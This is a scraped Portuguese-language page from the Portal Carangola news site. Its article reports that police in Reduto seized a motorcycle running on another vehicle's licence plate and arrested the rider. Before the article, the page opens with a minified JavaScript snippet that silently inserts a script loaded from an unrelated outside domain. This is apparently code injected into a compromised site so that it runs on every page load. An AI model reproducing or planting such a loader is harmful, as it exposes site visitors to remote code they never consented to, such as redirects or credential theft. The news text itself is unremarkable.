;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); PM de Reduto apreende motocicleta adulterada. - Portal Carangola

www.portalcarangola.com

O primeiro portal de notícias de Carangola-MG e região.

Portal Carangola

O 1º site de notícias de Carangola e Região

PM de Reduto apreende motocicleta adulterada.

pmmgGuarnição PM composta pelo Soldado Cyro e Soldado Duarte, durante ponto base na área central do município para se coibir a prática de assaltos e, ser garantida a segurança aos comerciantes e cidadãos em geral, visualizou um cidadão conduzindo com certa imperícia uma motocicleta Yamaha YBR, cor: azul, placa: HDS1348, tendo o condutor olhado rapidamente para a viatura policial e encostado em seguida.
Nesse ínterim, os militares consultaram a placa da motocicleta sendo constatado se tratar de uma Honda Bros, cor: vermelha, tendo neste instante o cidadão embarcado novamente na motocicleta e, seguido sentido Campo do Torino.
Imediatamente os militares deslocaram com a viatura na direção do cidadão sendo o mesmo abordado conforme Cadernos Doutrinários da Polícia Militar de Minas Gerais.
Solicitado os documentos de porte obrigatório referidos no CTB, o cidadão afirmou ser habilitado na categoria “B” (não é a categoria para condução de motocicletas) bem como disse não portar nenhum documento referente à motocicleta e, que a mesma teria sido oriunda de leilão.
Em consulta junto a Polícia Civil de Manhuaçu, através do número do motor, os militares descobriram que a real placa desta YBR é: HCT4548 e que a mesma está baixada, portanto, não poderia estar circulando em vias públicas.
Devido o uso da placa de outro veículo, ao condutor do veículo foi dada voz de prisão e, conduzido a Delegacia de Polícia Civil.
O veículo abordado foi apreendido pelo pátio credenciado de plantão no momento do fato.
A PM de Reduto orienta os cidadãos possuidores de motocicletas adquiridas em leilão para estarem sempre portando a respectiva documentação expedida na aquisição do veículo em leilão e, mais importante a não conduzir estes veículos em via pública.

Informação: Felipe Duarte

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.